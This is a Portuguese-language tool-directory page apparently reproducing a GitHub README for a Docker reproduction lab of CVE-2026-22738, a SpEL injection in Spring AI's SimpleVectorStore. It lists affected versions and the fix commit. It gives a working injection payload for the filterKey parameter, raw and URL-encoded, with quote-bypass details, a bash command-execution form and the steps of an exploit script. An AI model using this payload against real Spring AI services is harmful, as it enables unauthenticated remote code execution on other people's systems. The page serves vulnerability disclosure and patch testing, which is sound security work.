Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22738 — # Injeção de SpEL via Chave de Filtro Não Escapada no SimpleVectorStore Leva à Execução Remota de Código | Kitploit
Ferramentas/GitHubGitHub/rockmelodies/cve-2026-22738
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsCavalo de Troia de Acesso Remoto
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

# Injeção de SpEL via Chave de Filtro Não Escapada no SimpleVectorStore Leva à Execução Remota de Código

Ver Repositório
21há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Reprodução do CVE-2026-22738

img.png

Descrição da Vulnerabilidade

O CVE-2026-22738 é uma vulnerabilidade de injeção SpEL (Spring Expression Language) no SimpleVectorStore do Spring AI, que pode levar à execução remota de código (RCE) não autenticada.

Versões Afetadas

ArtifactVersões AfetadasVersão Corrigida
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Nota: Este projeto utiliza a versão estável spring-ai-core:1.0.0 para reprodução da vulnerabilidade.

Commit de correção: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Princípio da Vulnerabilidade

O método SimpleVectorStore.similaritySearch() repassa o nome da chave do filtro fornecido pelo usuário diretamente para o template SpEL, que é avaliado pelo StandardEvaluationContext. Como o StandardEvaluationContext expõe a API completa de reflexão da JVM, um atacante pode injetar:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

Adicionando a chave do filtro para implementar execução de comandos do sistema operacional não autenticada.

Reprodução da Vulnerabilidade

Use o seguinte payload, observando que é necessária uma codificação de URL

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Envie o payload para o parâmetro filterKey e a calculadora será aberta com sucesso img_1.png

Detalhes do Bypass

O método de injeção simples não funciona diretamente — é necessário superar duas peculiaridades do parser:

  1. Remoção de aspas simples — Chaves que começam com aspas simples ' são tratadas como strings entre aspas; as aspas externas são removidas, quebrando o payload.

  2. Wrapper de aspas duplas — Envolver o payload em aspas duplas "..." faz com que o parser remova as aspas duplas externas, preservando a expressão SpEL interna como o valor da chave passado para o parser #metadata['<KEY>'].

  3. Chave de metadados vazia — Usar #metadata[''] em ambos os lados da expressão injetada (em vez de uma variável indefinida) evita o erro de variável desconhecida do SpEL, enquanto ainda aciona o exec().

A expressão calculada tem a seguinte forma:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicadores de Sucesso

O corpo da resposta HTTP conterá o erro de runtime SpEL EL1030E:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Este erro é gerado após o retorno do exec(), confirmando a execução do comando no nível do sistema operacional, sem necessidade de callback externo.

Configuração do Ambiente

Pré-requisitos

  • Docker e Docker Compose
  • Python 3 + biblioteca requests (pip install requests)

Construir e executar o ambiente vulnerável

root@kitploit:~
# Construir e iniciar os contêineres
docker compose up -d --build

# Visualizar os logs
docker compose logs -f

Executar o script de exploração

root@kitploit:~
# Instalar dependências
pip install requests

# Executar a exploração (aguardar a aplicação iniciar)
python3 exploit.py --wait

# Ou especificar o alvo
python3 exploit.py --target http://localhost:8082 --wait

Descrição dos Parâmetros

FlagValor PadrãoDescrição
--targethttp://localhost:8082URL base da aplicação vulnerável
--waitdesativadoFaz polling até o alvo estar pronto (útil após docker compose up)

Nota: Docker Desktop (macOS/Windows) usa host.docker.internal para callbacks; o payload 127.0.0.1 funciona.

Etapas da Exploração

O fluxo da prova de conceito consiste em cinco etapas sequenciais:

  1. Verificação de linha de base — Confirma que o endpoint está acessível e retorna dados de seed
  2. Sonda SpEL cega — Confirma o ponto de injeção lendo java.version via T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 dentro do contêiner
  4. RCE: Grava a saída de id // uname // hostname em /tmp/rce_proof.txt
  5. Verificação: Imprime o conteúdo do arquivo de prova via docker exec

Estrutura do Projeto

root@kitploit:~
├── Dockerfile                    # Arquivo de build do Docker
├── docker-compose.yml            # Configuração do Docker Compose
├── pom.xml                       # Configuração do projeto Maven
├── settings.xml                  # Configurações do Maven (inclui repositórios Spring)
├── exploit.py                    # Script de exploração
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Classe principal do Spring Boot
    ├── VulnController.java           # Controlador vulnerável
    ├── VectorStoreConfig.java        # Configuração do VectorStore
    └── DummyEmbeddingModel.java      # Modelo de Embedding simulado

Teste Local (sem Docker)

root@kitploit:~
# Compilar o projeto
mvn clean package -DskipTests

# Executar a aplicação
java -jar target/spel-rce-lab-1.0.0.jar

# Executar a exploração em outro terminal
python3 exploit.py --target http://localhost:8082

Referências

  • CVE-2026-22738
  • Commit de correção do Spring AI
  • Projeto PoC original
Baixar ferramenta